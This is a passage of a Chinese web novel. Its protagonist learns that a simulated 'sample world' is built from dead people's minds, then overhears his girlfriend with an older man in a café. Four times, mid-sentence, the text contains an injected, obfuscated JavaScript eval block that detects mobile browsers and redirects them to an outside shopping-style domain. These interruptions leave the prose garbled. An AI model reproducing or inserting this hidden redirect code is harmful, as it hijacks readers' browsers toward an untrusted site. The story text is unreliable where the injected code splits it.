“我到底是怎么了?”蔚迟野像是在急切地咨询一位医生,渴求自己的病症得到救治,“看着父亲的时候,我会把他和杜义作比较。看着女朋友的时候,我会把她和董莉莉作比较。而每一次比较的结果,都让我感到失落,好像现实里的是什么次选一般。” “……” “柏姐,为什么啊?”蔚迟野不理解,他像是抓住最后一根救命稻草一般,抓住柏汝恭的胳膊,希冀她给出一个能够化解他疑惑的答案,“我是活在现实世界中的人,我不能这样下去。这不对啊。” 无窗的会议室中,一个渴望得到答案的身影脆弱不堪。冷硬的灯光照亮每一个角落,苍白的金属墙仿佛再向房间中心挤压。 柏汝恭低吟了一声,摘下自己的眼睛,又拍了拍蔚迟野的手,示意他放开,“跟我来,我带你去一个地方。” 听她这么说,蔚迟野有些麻木地说什么做什么,站起身来和女人一起离开会议室,走到了外面的廊道上。 女人一手拿着咖啡,一手捧着资料,又嫌弃有些重似的,把那一沓厚纸交给了蔚迟野,“迟野,你认为样界里那些人的生命是由什么构成的?” 蔚迟野走在柏汝恭的一旁,思考着她的问话。 “低温样界VII”是方远韶创造出来的意念世界,为了模拟真实情境而做得十分逼真,它以一小部分现实物质为载体,构建出一个宏伟的虚拟世界。 他给出了自己的答案,“……是数字,无数的零和一,仅此而已。” “你果然是这么想的吗。” 蔚迟野疑惑地看她。 “你觉得样界是电脑里的虚拟世界,就像电子游戏那样。”柏汝恭说。 “差不多。” “为什么会这么推断?” “为什么……”蔚迟野思索片刻,回答,“因为它不具备实体,所看到和所听到的一切都是意识的延展。” “……迟野,你有没有想过一件事情。”柏汝恭笑着说,“你之所以能够感知到这个世界,不是因为这个世界存在,而是因为你的听觉、触觉、视觉告诉你它存在,所以它才存在。” 听着柏汝恭这顿绕来绕去的话,蔚迟野不敢说自己理解了她的意思,“……我不是很懂。” “好吧,那就拿这杯咖啡打个比方。”柏汝恭端起那杯冷却的咖啡,说道,“没有眼睛,我就不知道这杯咖啡是黑棕色的,没有味觉,我就不知道它是又冷又苦的,没有这些信息,我就不会做出我其实不想喝它的判断。但咖啡只是一杯咖啡,它的冷却和苦涩毫无意义,是我赋予了它含义。我所看到的它,是我脑海里的它,而不是真实存在的它。” “嗯……然后呢?” “所以说,物质不是那么重要。”她说,给出了她的结论,“人可以根据想象回忆起曾经的感受,无论是恐惧、兴奋、还是快乐,而那些情感并不需要依托于现有的物质,只需要大脑转一转,带动相关的回忆,就能感受到。而人也不需要见到一片叶子才想起来它是绿色的,那些事物储存在大脑里面,只要触发相关的记忆,人类就能凭空在自己的脑海里捏造出来一片绿叶。” 蔚迟野艰难地理解着柏汝恭这段话。 凭空在脑海里创造一片绿叶?不需要构成一片绿叶的任何物质,只需要想象? “而我们创造样界,也是基于同样的原理。先有想象,再将想象显化,就是这么简单。”柏汝恭说。 说这话的时候,两人已经借电梯来到了另一个楼层。这层楼十分肃静,地板是浓重的黑色,墙壁向上渐渐变化成空无一物的白,廊道里几乎看不到几个工作人员。 柏汝恭带着他往有些阴森的深处走,穿过两道需要身份验证的门,蔚迟野看到入门的墙壁上贴着一个牌子,上面写着“创生部”三个大字。 柏汝恭来到前台,和工作人员说话,“有家属来探望吗?没有的话,我进停放间办点事。” “我刚交班过来,不太……”对面的女工作人员看了一眼柏汝恭的工牌,然后说道,“我帮您进去确认一下吧。” “麻烦了。” 工作人员走后,蔚迟野疑惑地问柏汝恭,“我们要去什么地方?” “一个堆满了死人的停尸房。” “……什么意思?” “就是你听到的意思。”柏汝恭拄着前台的桌子,轻松说道,“为了消除你的烦恼,我打算给你看看样界的起源。” 蔚迟野困惑地眨眼。他只知道那是一个意念世界,其它的他没有权限了解。 “停放间里都是愿意配合实验的死者,他们的家属把遗体送到这里来,供我们创造样界。”柏汝恭说道。 蔚迟野皱眉,“用死者创造样界?” “刚才不是说了吗,样界是一个通过死人的意识和记忆创造的世界。” “……你没这么说。” 柏汝恭笑起来,有些突然地揉了一下蔚迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14459798|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野的头,“那是你小子理解能力不行。” “……” “先通过‘记忆’创造无机环境,再凝聚‘意识’来创造生物,这就是样界啦。”她十分跳跃性地解释道。 蔚迟野只觉得自己的脑袋有点不够用,他不应该这么笨啊,果然还是这副身体有问题。 “我们这门技术在全世界遥遥领先。”柏汝恭说,“所以,虽然第七低温样界里的文化整体还是偏向中式,还是有不少外国人送家属过来。你应该在样界里见过不少冠着中式名字的外国人吧?” 蔚迟野短暂地回想起了几个身影,“嗯,有。” “那些就是……”柏汝恭说到一半,打断了自己,“啊,人回来了。” 女工作人员的身影从一块遮挡视线的影壁墙后出现,她说道:“里面没人,请刷工卡进入吧。” “好。”柏汝恭应道。 她带着蔚迟野绕过影壁墙,刷卡打开了一道自动门,一个有些阴暗的巨大空间在眼前出现。 一排排整齐的金属宽柜陈列在眼前,每一个窗格差不多有一平方米,柜子上每隔一段就有一个屏幕,旁边是许多操作键,上面密密麻麻地写着使用提示。 柏汝恭来到第三列,停在一个写着“贝勒萨”的铭牌前。她按下启动键,机器运转的声音响起,一个长条形的金属容器被推了出来,在轴承的带动下,它立直了起来,里面有一个仿佛在闭眼沉睡的男人,他身体四周是凝胶一样的物质,它们将他牢牢固定在了里面。 “知道他是谁吗?”柏汝恭问。 蔚迟野打量了一番这个半身赤|裸的男人,他通体苍白,从放松状态下的肌肉形态看应该是游泳相关从业员,或者长跑爱好者,一头黑色的卷发很是浓密,眼睛像是扇子一样盖着,他看起来还很年轻,但无疑已经没有了生命的迹象。一道缝合的伤疤从肩头贯穿到腹部,那应该就是致使他死亡的原因。 这是一张陌生的面孔,蔚迟野不假思索地回答,“不认识。” “或者这个身份能让你想起来些什么吗?”柏汝恭在屏幕上操作了一番,调出来了一行信息。 那上面写着:低温样界VII十六期导入主体,样界全映射体赋名黄王。 难懂的字样让他理解困难,但是其中有一个名字引起了他的注意。 “黄王……?” “看来你知道他。” “是我理解的那个人?” “如果你指的是元城的那个黄王,那么,是的。”柏汝恭说道,“黄王是这个名叫贝勒萨的男人的全映射体,意思就是,嗯……” 女人苦恼地皱眉,像是在思考怎么把这个概念解释给对面的男孩听,“总之就把他们当成经历不同的两个完全一样的人吧,毕竟他们的基因甚至比双胞胎还要相似。其实我们不太愿意创造全映射体,容易带来一些人情上的纠纷。但贝勒萨是一个例外,他生前是方远韶的一个……朋友。” 蔚迟野艰难地理解着柏汝恭的话。 本来样界是用死人创造这点已经令他脑袋有些转不过弯来了,现在柏汝恭跟他说,样界中某个他所知的个体与现实世界中的人有什么联系,更是令他匪夷所思。 274. 偷情1 “我带你看他呢,主要是想跟你讲讲元成的故事。”柏汝恭说,“之前你在实验层西二会议室向方远韶汇报第一次实验的结果时,听说你提到了元城,而方远韶非常生气。” 蔚迟野回想了一番当时的情景。第一次离开样界时,他以为样界的异常是那个冰封的城市,所以向方元朝汇报了他在元城的发现。但男人似乎对这个回答非常地不满意。 “……嗯,好像是这样。” “你知道他为什么生气吗?” “因为元城不是异常的所在?” 柏汝恭一笑,“那个男人还不至于因为一个懵懂的年轻人弄错了一件事情就发脾气。” 蔚迟野又思考了一番,“你之前和我说,元城的科技发展太过迅速,抑制了低温环境,差点导致样界的实验价值完全丧失。这是方先生业绩上的污点,尽管他已经摧毁了元城……但还是不愿意别人在他面前提起它?” “的确是污点。但成为污点的原因,不是元城的科技发展导致样界环境险些失去实验价值。” “那是什么?” 柏汝恭目光落在那个名叫贝勒萨的男人脸上,扬了扬头,“因为他。” “……我不懂。” “他看到了他。” 蔚迟野迷茫地眨眼。 柏汝恭转过头来,停放间自上而下的昏暗灯光将她的脸照射出一片阴影,“黄王看到了方远韶。” 听到这里,蔚迟野不禁疑惑,“黄王不是样界里的人吗?他怎么能……‘看’到方先生?” 他自己说完这句话,又突然想起来之前在元城中听到那个名叫鹿力喜的男人说过的一番话: ——“有人在注视着我们。越过溶洞的山层,翻过积落的白雪,离开天空,抵达穹顶,在那之上,有什么东西在注视着我们。” 这段回忆让蔚迟野顿时说不出话来。 “黄王尝试和方远韶对话,希望他能终止样界的循环,让人们从寒冷的折磨之中解脱出来。”柏汝恭目光有些深邃,现在回忆什么一般,“但方远韶从未考虑过对方的请求,不是他冷酷,而是他太害怕了。他从来不知道样界之中的人居然能够拥有这样的意识,抬头和我们所处的世界对话。” 蔚迟野的心脏漏跳了一拍。这种形容使他惴惴不安。 意识到了自己是谁,也意识到自己处于一个怎样的世界上,意识到无法挣脱自己的躯壳,但灵魂已然觉醒。 树不知道自己是树,河流不知道自己是水,只有人能理解自己是人。 “如果让其他人知道了样界中的人是另一个维度上真实存在的生命,那么整个样界作为基因变异实验田的根基就将动摇。”柏汝恭说,“所有人都会知道,方远韶是在拿一种与我们存在形式不同的人当小白鼠。会有许多人道主义者来制约他,他一辈子的事业都会付之一炬吧。” 蔚迟野愣愣地听着。 她刚才说……真实存在的生命? “不过,虽然也有这些方面的原因……但他摧毁元城的原因主要还是害怕。”柏汝恭的声音低沉了几许,“他最初和你一样,把那些人当成是冰冷的数字。推翻曾坚信的信念是非常让人崩溃的,所以与其这样,不如直接拔除问题的根源。 “而仅仅是拔除还不够。元城大洪水之后,我们观测到它里面有一个热能机关,启动之后,被寒冰掩埋的元城就将复苏。而方远韶唯恐那个城市里会诞生第二个像黄王那样的人,所以让我们设计了一道限制,只要元城的热能机关启动,就会触发‘绝对零度’程序,样界在极度严寒中会直接重置,进入下一个循环。” 柏汝恭在操作键上按了两个按纽,机械声响起,装载贝勒萨的容器平躺下去,又契回了存放人体的窗格之中。 蔚迟野的脸色惨淡,他感觉脑袋有些发胀。 与“她为什么要告诉我这些”这个想法一同升起来的,是在那个样界之中的无数回忆。所有那些细枝末节的记忆告诉他,柏汝恭刚才所说的大概率就是真相。 人类世界由意念构成,没有了思想,就没有颜色,没有味道,没有快乐,没有痛楚,只有物质。人类是寄托在意念之上的生物,而样界之中的人也是一样,只不过他们不那么依赖现实物质。 这种概念他能理解,但另一边,他又在否认着自己认知到的一切。 不同的维度,存在形式不同的生命……这怎么可能呢,他从生下来开始到现在,就从来没听说过这种概念。 所以…… 所以—— 就在蔚迟野困难地处理所有新信息时,柏汝恭的电话响了。 女人接了起来,她并没有回避,听筒的音量也有些大,与对面的交谈就这么传到了蔚迟野耳中。 “柏主任,有人向我汇报了你的行程。”电话另一头响起的是方远韶的声音,“你带实验员进入创生部的停放室是想干什么。” “呃,突然想确认一些事情……” “带他离开。” “好,好。” 挂掉了电话,柏汝恭目带歉意,对蔚迟野说:“老板生气了。看来我不得不把你送出去了,小朋友。” ## 后来,蔚迟野不知道自己是怎么离开实验大厦的,也忘记最终和柏汝恭的交谈是以怎样的对话作为结尾。 他的思绪很混乱,理顺它们需要时间。 他没有可以诉说的人,柏汝恭已经是他能谈话的最好的对象,但是,和对方的交流已经结束了。他非但没有从郁结中纾解,反而知道了更多的隐情。 可转瞬之间,他又自嘲地想,就算知道了那些事情又能怎么样?方远韶不会再给他进入样界的机会,自己已经和那个世界说再见了,现实之中的生活还是要过下去。 但即使一遍遍在内心对自己如此告诫,他还是感觉到一种惶惑的不安。 他不能再想下去了,现在急需转移注意力。 下意识地,他拿出自己的手机,给许嫣然拨通了电话。在他内心深处,女孩是一个值得倾诉的对象,他以前没少和她说自己的事情,而对方也的确是一个耐心的倾听者。 几声电话铃声响过之后,公式化的女声提醒他,对方暂未接通,请稍后再试。 蔚迟野关闭了通话界面,打开了打车软件,他现在太需要找一个人聊一聊,他不能再自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467821|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个人这么待下去,如果让他一个人待着,还不知道自己会做什么。 于是乎,他叫了一辆车,往许嫣然的家里赶去。 便是在这短短的几十分钟里,他的大脑里的思绪已经快要溢出来了。关于过去,关于未来,所有都像是缠死的绳结一般堆在一起。 幸好,在他的大脑彻底混乱之前,车子抵达了目的地。 还是那个有些破旧的小区,但是,现在,这里却成了他避风的港湾。 他依稀记得,之前他和许嫣然发生了争执,而他们的争执实际上还没有化解,那次在医院门前不欢而散之后,两人就一直没有联系过。这时候去找许嫣然,或许他会吃一个闭门羹。但是,他管不了那么多了,只要给他一个可以谈话的对象,哪怕是一颗只会发出单调声响的石头也好,能让他转移脆弱的注意力就行。 来到了许嫣然家楼下,他径自走了楼栋里,到了层数,敲响了房门。 过不多久,一个脚步声传来,女人的声音响起,那是许嫣然的母亲,“谁呀?” “是我,冯姨。”他没有说自己的名字,他们已经足够熟悉,只听到声线就可以辨别。 门打开了,冯姨一脸开心,俯身就要给蔚迟野拿拖鞋,“迟野!你怎么突然来了,哎呀,嫣然不在家,不过她应该很快就回来了,你进来等等她。” 许嫣然不在家,那他也没必要逗留了。蔚迟野抓住冯姨的胳膊将她扶了起来,“冯姨,我不进去了。你知道嫣然去哪了吗?” 冯姨回想了一番,说道:“她好像是和朋友出去玩了,现在应该就在附近的商圈。” “好,我知道了。那冯姨,我先走了。”蔚迟野说了声,摆了摆手,而后就要走。 “欸,你不吃点东西吗?”冯姨门口盯着他,挽留道。 “不了。”蔚迟野在有些潮湿的楼道里说道。 “那帮我给嫣然带个话,让她早点回来呀!” “我知道了。”蔚迟野应答。 这附近的商圈只有一个,也是许嫣然和蔚迟野经常去的地方。那是一个名叫万众汇的露天商场,建筑最高只有两层,大部分店门都是直接对着街道,商场里来往的行人全天都很多。 蔚迟野熟知去往那里的路线,不远,不需要打车。于是乎,他便低着头,一副若有所思的模样,自己一个人漫步在扬长的大街之上。 不过十分钟的路程,他来到了露天商场。 从一个装潢华丽的入口走进去,一条繁华热闹的商街出现在眼前。 男男女女们彼此挎着胳膊,牵着手,在这条步行街上散步聊天,回忆过去,展望未来。 蔚迟野一个人穿行在他们之中,并没有感觉到孤独,因为很快,他也会和自己的那个她团聚。 商街太大,他不确定许嫣然在哪,也回想不起来她曾经喜欢去什么店,只记得哪些店好吃哪些店不好吃。 于是乎,蔚迟野再度拿出手机,给许嫣然拨了个电话,对面却依然无人接通。 他有些疑惑。如果许嫣然看过手机的话,应该能看到他给她的去电消息。这么长时间都没有打回来,该不会是出了什么事吧? 275. 偷情2 一种不安的揣测从蔚迟野的心底冒出来,但是,又被他强压了下去。商场里人这么多,治安又严格,不太可能出什么事。 蔚迟野低头沉思着,往前走。 就在路过一个小巷子的时候,他的余光里看到了两个人交叠在一起的人影,光天化日之下,居然有人躲在看似无人注意的小巷亲密地吻在一起。他们是那般热烈专情、旁若无人,就好像如果这里有张床的话,两人就会立刻上演一些限制级演出。 蔚迟野有些没眼看,他快步走过那个小巷,让那交叠在一起的身影离开自己的视野。 然而,没走两步,他便停了下来。只因听到了那小巷里传来的低语声,还有细弱的喘息和呻|吟。 为什么,那个女人的声音听上去那么像许嫣然? 一种疑惑的想法在他的脑海里升起来,好奇心让他立在原地,竖起耳朵细细分辨着。但是,巷子里两人的交谈结束得很快,没有再多的声音传来。 蔚迟野犹豫了一下,往后退去,想要用双眼一探究竟,来证明自己的疑心只不过是无须有的庸人自扰。 可等他回到那个巷子口,里面的男女却已经分开了。他们背对着他往另一个方向走,女人在前,男人在后,前者的身影被完全地遮挡,蔚迟野根本看不到她。 下一刻,几乎是趋于本能地,他跟了上去。 前面两人离开了巷子,很快遁入了逛街的人群之中。蔚迟野从巷子里钻出来的时候,一下子就丢失了他们的身影。 他茫然地向四周看去,只捕捉到神色各异的一张张陌生的脸。人们在他的眼前或快或慢地走过,没有一个人看他。 就这么有些发呆地原地站了一阵,蔚迟野心想,他刚才应该是听错了,只是因为他现在太想见许嫣然了,所以才会把某个女人的声音错听成她的。 这么想着的时候,突然,他的手机铃声响了。蔚迟野拿起来一看,是许嫣然打来的电话。 他一下子接起来,像是生怕对面挂断一样。 想起来他们之前的不欢而散,蔚迟野的声音小心翼翼,“……嫣然?” 背景音很安静,对方可能在一个杜绝了吵嚷的室内。女孩的声音有些冷淡,“你有事找我?” “嗯,想和你聊聊。”蔚迟野没有说具体是什么事,“你现在在哪?” 对面沉默了半晌,“……我在家。” 蔚迟野一听,一瞬间不知该说些什么好。明明他刚才去她家里的时候,冯姨还说她不在,而这短短的十几分钟内,她就已经回了家里去?显然不太可能。 但是,万一呢。或许他离开的时候,女孩刚巧已经在回去的路上了。本着不要误会对方的想法,蔚迟野问道:“今天一整天都在家吗?” “对。”对方说道,没什么好气。 蔚迟野一愣。他心里刚才还想为对方找补,但明显她在说谎,而且,说起谎来似乎都没怎么犹豫。 许嫣然到底在做什么,为什么她要对他说谎? 蔚迟野一时没有说话,他们的通话之间只剩静默。 半晌后,传来了许嫣然的声音,“你要聊什么?还聊不聊?不聊我挂了。” “呃……”蔚迟野发出了一些声音,证明他还有话要说。他有些焦虑地移动脚步,开始漫无目的地往前走。他不想揭穿许嫣然,如果拆穿了她,很可能对方马上就会挂掉电话,可他现在需要她跟自己说说话。 他心想,或许,对方只是出于不想见到他的原因,所以谎报了自己的地点,或许她还因为那天的事情而生气,所以才会这么做。 蔚迟野思虑片刻,说道:“我是想着,我们都毕业了,为了庆祝……我给你买了件礼物。” 他两手空空说出这样的话,但却没什么负罪感,反正礼物都在货架上躺着,又不会跑,只是早买晚买的问题。 对面沉默了片刻,问道:“你买了什么?” 东西没买,他固然说不出个所以然来,只能故作神秘,“一份稀奇的大礼,你见到就知道了。” 蔚迟野走着走着,来到了商街的高档餐饮街,里面尽是些异国料理店或者是咖啡厅。现在不是饭点,里面的人很少,他就下意识往这个方向走。 电话对面许久没有传来声音,但是,呼吸声告诉他,许嫣然依然在听。蔚迟野咳嗽了一声,尽量放轻了自己的声音,用有些沙哑的声线,低姿态地问道:“你还在因为那天的事情生气吗?” 对面隔了一阵子才说话,“你认为我应该生气吗?” “我觉得你应该生气。”蔚迟野快速笃定地说,“是我做得不对,你应该生我的气。” “……迟野。”她顿了顿,像是在思考什么一般,半晌,说道,“我生气,不是因为你对我发脾气,而是因为你并不了解我。明明我们已经相处了这么长时间,但你还是对我一无所知。不知道我会因为什么感到羞愧,也不知道如何体谅我,你太理所当然了。” 蔚迟野听着,却不太明白对方的意思,但总觉得这不是个追根究底询问的好时机,所以,他顺着对方的话说道:“对不起,是我的不对。我……我的确,像你说的,对你体谅得太少了,也关心你关心得太少了。” 事实是不是这样,蔚迟野并不知道。他只知道,只要赞成对方的想法,把她的话复述一遍,那么对方的火气就能够消下来大半。 而的确,许嫣然没有再继续怄火,她的音色比刚才柔和了一些,问道:“所以,你到底买了什么?” “呃,这个……”蔚迟野环视四周,寻找一些参照物,但是这周围只有餐厅和咖啡厅,他总不能说是买了一堆面包给她吧。 “化妆品吗?还是首饰。” “不,都不是。” “包包?” “也不是……”蔚迟野有些混乱地否定。 “你刚才说是一份稀奇的礼物,不会是从哪个地摊上买来的什么小玩意吧。” “不是,绝对不是。” 对面,许嫣然似乎叹了口气,“好吧,那等下次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14474323|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见面的时候再送给我吧。没关系,只要是你买的我都喜欢。” “好……” “还有点事,先挂了,迟野。” 电话挂断了,蔚迟野一下子有些泄气,感觉一根紧绷的弦松了下来。 这下倒好,他不仅依然不知道许嫣然在哪里,还欠了一份礼物。 不过,好在他一开始的目的达到了。他现在满心都是想着怎么挑选礼物,去哪里找许嫣然,以及能不能再给她打一个电话。之前困扰着他的那些问题,终于安静了下去,沉入了无声的水底。 蔚迟野打算离开餐饮街,去高档品牌区逛一逛,或许能够挑出来一些不错的礼物。 她会喜欢什么呢? 蔚迟野毫无头绪。 曾经,他们只是偶尔一起逛街而已,更多时候是在学习。那为数不多闲逛的日子里,许嫣然总是跟着他,他吃什么,她就吃什么,他买什么,她也有一份。而至于这个女孩自己喜欢什么,他一概不知,没了解过,也没问过,他自然而然以为她喜欢和自己一样的东西。 但是,用常理想想,这必然是不可能的。她肯定也有自己钟爱的东西,只不过,那是什么,蔚迟野并不知道罢了。他猜,应该离不开女孩子们普遍喜欢的范畴,可爱的毛绒玩具,名牌包,化妆品,金贵的首饰,或者是一些精巧的小物件。 蔚迟野边思考着礼物应该选什么,边往品牌区的方向走。 走着走着,他不经意地抬头,突然,一个熟悉的身影在他眼前一晃而过。 目光紧追上去,欣喜之情腾然而起,那竟然是许嫣然。 居然真的碰上了,该说这是心有灵犀吗? 蔚迟野跃跃欲试,想要叫住她。但是,紧接着,他的表情凝固了,话也没有喊出口。 许嫣然走进了一家咖啡厅,一个男人轻轻揽着她的腰,在她身后也跟了进去。 那副亲密的样子,他很难骗自己他们不认识。 蔚迟野只觉得见到许嫣然的兴奋冷却了几许,感觉身体有些僵硬,脑海里也一片混乱。 男人看起来有四十岁左右,那应该不是许嫣然的父亲,她的父亲现在应该不在本市。 那会是谁? 蔚迟野下意识驱动脚步,走进了那家咖啡店。 这是家有着浅褐色主色调装修的精品店,稀疏的顾客坐在舒适的座椅中,高雅又惬意地聊着天。 蔚迟野进入店门后,锁定了许嫣然和那个男人的身影。他尽量隐蔽自己的身形,在隔壁的座位上坐了下来。两个餐桌之间有一个隔板,他们彼此看不见对方,但是能听见交谈声。 “喝点什么?”男人问道。从声音上来听,他年纪不小。 “什么都行。”许嫣然说道,音色比平时都要更加娇柔一些。 翻动菜单的声音传来,男人一本正经,询问着上面的菜色是否符合对方的心意。而许嫣然就像往常一样,什么都可以,什么都能喝,什么都能吃。 他们两人究竟什么关系? 276. 偷情3 坐在一旁的蔚迟野不禁这么想道。 这时候,服务员走了过来,问他需要点些什么。蔚迟野没有说话,以防自己的声音被许嫣然听见。他点了点菜单上的黑咖啡,以及一块方形的可可味甜点。服务员理解了他的意思,给他报了菜名,确认点的是这两种东西后,离开了他的餐桌。 蔚迟野坐在座位上,聚精会神地听着隔壁的声响,想要从他们的对话、以及细微的动作发出的响动之中听出来一丝蛛丝马迹。 “所以,他已经很久没有回家了,是吗?”男人如此问道。 “嗯,上次选校的时候,他回来过一次,那之后就再没有出现过了。”许嫣然说道。 听他们的交谈,不难推测出,两人说的是许嫣然的父亲。之前许嫣然也和蔚迟野说过,因为父亲为她选定了大学,所以,她必须去离市中心很远的郊区上学了。 “唉,他那个人人缘挺好,就是对家里人可能还是亏待了一些。作为一个同事、一个合伙人,他的专业程度令人敬佩,但是说到私人生活……”男人犹犹豫豫地说,他的声音听上去变得同情起来,“你们母女俩……应该过得很辛苦吧。据我所知,许总在外面……有一些风流韵事。他可能,已经和别的女人有了孩子。” “……他会打钱回来。”许嫣然说道,她的声音有些颤抖,“但是,每次打回来的钱,只够我和妈妈两人最基础的生活。” “打官司还没什么结果?”男人问。 许嫣然的衣料动了动,发出声响,那可能是她在摇头。 男人替许嫣然分析着,“他现在已经是这幅样子,更不要说以后。将来有了别的女人和孩子,可能更顾不上你们了……” 许嫣然的声音变得急迫了起来,她道:“余先生,你说……能帮我们把这些年他欠下的抚养金争取回来,是真的吗?” 对面的男人笑了起来,用上了安慰的音色,“当然了,嫣然。你的事情,我一定会尽力去完成的。” 茶杯碰撞,发出清脆的声响,他似乎是做出了什么动作,导致桌面上的餐具纷纷挪动了位置。 许嫣然安心地叹息了一声,声音弱下去,“余先生,多亏了你……” 蔚迟野在一旁听着,眉头紧皱。他不知道许嫣然家里居然是这样的情况,以前从来没听她说过。她愿意把这些说给一个四十多岁的男人听,却不愿意和他这个日日相伴的人诉说吗? 而且……这两人到底是什么关系?许嫣然叫他余先生,两人就不可能是亲戚。他大概也不是许嫣然母亲那边的人脉,且不说一个没有工作的人能有什么人脉,要真是冯姨认识的人,她怎么可能直接就让女儿出来和他会面,自己却在家里呆着? 这两者都解释不通,蔚迟野一时也想不出其它的可能性。 一个高中刚毕业的女孩,上哪认识一个大她二十多岁的男人? 而且……不知为何,在蔚迟野听来,两人的交谈有点莫名地暖昧。他不确定是不是自己的某种原始的情绪在作祟。 男人又笑起来,他笑的频率似乎有些过于高了,“对了,刚才你打电话的那个人是谁?” 许嫣然:“是我的同学。” “欸,同学之间关系这么好,毕业了还给你送礼物啊?”男人道。 “我们之间确实关系还不错。”许嫣然道。 蔚迟野在一旁听着,只觉得肚里有些窝火。关系还不错?那种事都做过了,许嫣然不应该向别人介绍他是她的男朋友吗? “那我是不是也应该送你点什么?庆祝你终于成年了。”男人说道。 “不,不用,余先生已经帮了我很多了。”许嫣然说道。 “说嘛,我这是在给你占我便宜的机会。”男人笑着说,“毕竟,我也没少在你那里讨好处,不是吗?人都是要互惠互利的。” 许嫣然沉默了一阵子,说道:“……那就请余先生对今天的事情保密吧。” 男人调笑着,像是不懂一般,问道:“你说的是我们在咖啡厅里谈话的事,还是刚才在巷子里——” “都是。”许嫣然打断了对方,她的声音干脆,像是为了掩饰或逃避什么一般。 “好吧,我当然答应你。”男人像是抻了个懒腰,用懒散的语气说道,“毕竟你也是有男朋友的人,我会对今天的事严格守密的。” “不,我没有……”许嫣然像是想要否定什么。 “小姑娘,别骗我啦。我已经活了四十多年了,你们那点青涩的小心思,我看得可谓是一清二楚。谁在谈恋爱,谁没有,只要扫一眼基本就知道。毕竟,谁不都是从那个阶段过来的?”男人道,语气游刃有余,像是对什么东西胜券在握一般,“所以,是哪个男孩这么幸运,能够拥有你这么可爱的美人?让我猜猜,是刚才打电话过来的那个男孩吧?” 许嫣然沉默着,没有回答。 “你们班里的人,我认识一些,那些小孩还真是有活力。”男人拿钢勺敲了敲玻璃杯,声音清脆。他的声音一再压低,像在施加无形的压力,“所以,是哪个男孩,嗯?嫣然? 蔚迟野贴在座椅的靠背上,服务员送来了咖啡和甜点,热气腾腾的咖啡在他眼前冷却,他丝毫没有把它拿起来饮用的意图。他无时不刻关注着身后那两人之间的谈话,情绪因为他们对话的内容而起起伏伏。 巷子……没有男朋友…… 这些字句让他的心情愈发阴沉。 对于那个男人的身份,蔚迟野心里有了些眉目。他既然是许嫣然同班同学的家长,姓余,那么应该就是余央的父亲,余敏叔。 这两个人单独约见,到底是什么情况…… “你不用紧张,我不是要追根问底,只是很好奇罢了。”余敏叔问说道,“你说出来,也对我们之间的约定没有任何的影响。” 女孩无言了良久,最终轻声地说道:“是……蔚迟野。” “噢,是他?”余敏叔发出惊讶的声音,勺子叮当一声,掉进了玻璃杯里,“这还真是……你还真会选啊。” “……” “也不怪你,毕竟你的家庭是这样……谁也不希望过那种饭都吃不饱的苦日子,我理解你,你做得没错。”余敏叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14482463|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道,像是在安抚她一般,“不过他年纪还小,应该不能随便动用他爹的财产吧。而且,我记得他还有个弟弟,好像那个弟弟的各方面表现都更好?蔚统作为洪成公司的创始人,出席过几次公众场合,但是一直都是带他小儿子出面。我从来没见过蔚迟野露面。” “……确实是这样。”许嫣然说道。 “哎呀,看来你也清楚。”余敏叔道,像是和许嫣然达成了什么共识一般,用指关节敲了敲桌子,“你这么聪明,想必已经知道该怎么做了。” “我……” 蔚迟野在一旁听着,只觉得如鲠在喉。余敏叔说得没有错,的确,蔚天楚各方面都比他优秀,学习成绩也比他好很多,在家庭之中,父亲对弟弟的偏爱明显更多一些,这些都是事实。 但是,赤|裸裸的真相就这么被旁人说出来,就好像全天下都已经知道了他的困窘,这种无地自容的感觉,让他十分难受。 “我有一个问题……问出来,你不要生气。”余敏叔压低了声音,他看上去十分昂贵的衣料摩擦着,身体似乎贴近了桌面少许。 “嗯。”许嫣然应道。 “你和他上过床吗?” 男人的声音很小,但是,时刻竖着耳朵的蔚迟野绝对不会听错。 